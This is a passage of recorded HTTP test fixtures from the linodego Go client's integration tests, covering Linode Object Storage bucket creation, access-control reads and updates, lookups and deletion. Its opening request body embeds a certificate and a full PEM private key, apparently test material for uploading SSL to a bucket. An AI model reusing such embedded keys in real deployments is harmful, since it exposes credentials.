qJ/oyA+hsSMn19O/v3O4wz+YS55xnVeEPIf\nfOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7eU1RpJmbc5X8GhytiD2M\ngIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb+ZQDvwx3ZujxjFXe3+qI\nkme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25fn3tutk/7hQNMqv0APAah\nLo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+wN3CznWaCtXiAjH3kbOk\n6y2OmI8+4QIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQCP2UawP8GDWxyMOsHDPqKp\nPtedCxPpEPsQm8KMnt5KJ55NFqTcpARz1miHXT1aBedu9IoqxvTP4g8BQ4QFjP2s\nddNu2WKqnwyzkCtnB2zOrOKlvUtRAZ4x2iyhKNqls6D7I4tw22HMbTzW2TVeuGVa\noiRtawFcUsjSAcarRw6swLTln+BK54dWa9E5hiulBoHLosMWCEyUDrUnaiB+2+7C\nbsExYZTXRlii7YPSr46zPmte2iKa1+b0g5DXkzSazWp+R/dlGYp84uLWk71e4b/9\nSo1pIitPasCJHgO/ii9nIcmDXarkaGT5CEUP8WPp6mLY5W9NxgF2czdz6AMJa3P9\n2jNd4J1VFl8k+LDZ4GnwHGhyL3h3lFUmmoQV/0YVoXmA59SxE2JPvc2d1V6xh2gz\nyg2M+xcKliSXxshhAopsSSoEp5g3II2mCvzeSxwsXa4Ob5c5TJNdXslm1pugRCbB\ntjFNh70wZmCq+jY8C+vGsDwkf/5UeAd+c+14s3bwsBfWqZBGokVxyf/UWHtsWlVn\np3USWBwLxEWyQIioMmj4O6wROZeyePDlFDVky4hzTCrTS6EFIqkGBs5RneCHhTN0\ngNHFG8Ixql6mybJAwopvWGEL+7E4pbNdbhmgVvf2YEQuMZBCM7fGdBsRNkTs6jIA\n/8soO6buQgQoCq3GFbodZA==\n-----END CERTIFICATE-----\n","private_key":"-----BEGIN PRIVATE KEY-----\n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\n7aJXvW2Q3oCt1sF576QNr9rLxhHl8A==\n-----END PRIVATE KEY-----\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/linode-obj-bucket-cert-test.xyz/ssl method: POST response: body: '{"ssl": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "13" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/linode-obj-bucket-cert-test.xyz/ssl method: GET response: body: '{"ssl": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "13" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/linode-obj-bucket-cert-test.xyz/ssl method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/linode-obj-bucket-cert-test.xyz method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucket_Access_Get.yaml000066400000000000000000000124771455402072200342040ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def","acl":"authenticated-read","cors_enabled":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/access method: GET response: body: '{"acl": "authenticated-read", "acl_xml": "fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697http://acs.amazonaws.com/groups/global/AuthenticatedUsersREADfa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697FULL_CONTROL", "cors_enabled": false, "cors_xml": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "808" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucket_Access_Update.yaml000066400000000000000000000147361455402072200347070ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"acl":"private","cors_enabled":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/access method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/access method: GET response: body: '{"acl": "private", "acl_xml": "fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697fa25bc43-2cb0-43c7-b8bd-994243d8a697FULL_CONTROL", "cors_enabled": false, "cors_xml": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "591" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageBucket_Create.yaml000066400000000000000000000057641455402072200334670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageBucket_GetFound.yaml000066400000000000000000000112121455402072200337600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: GET response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucket_GetMissing.yaml000066400000000000000000000100751455402072200342450ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-west-1/go-bucket-test-def method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 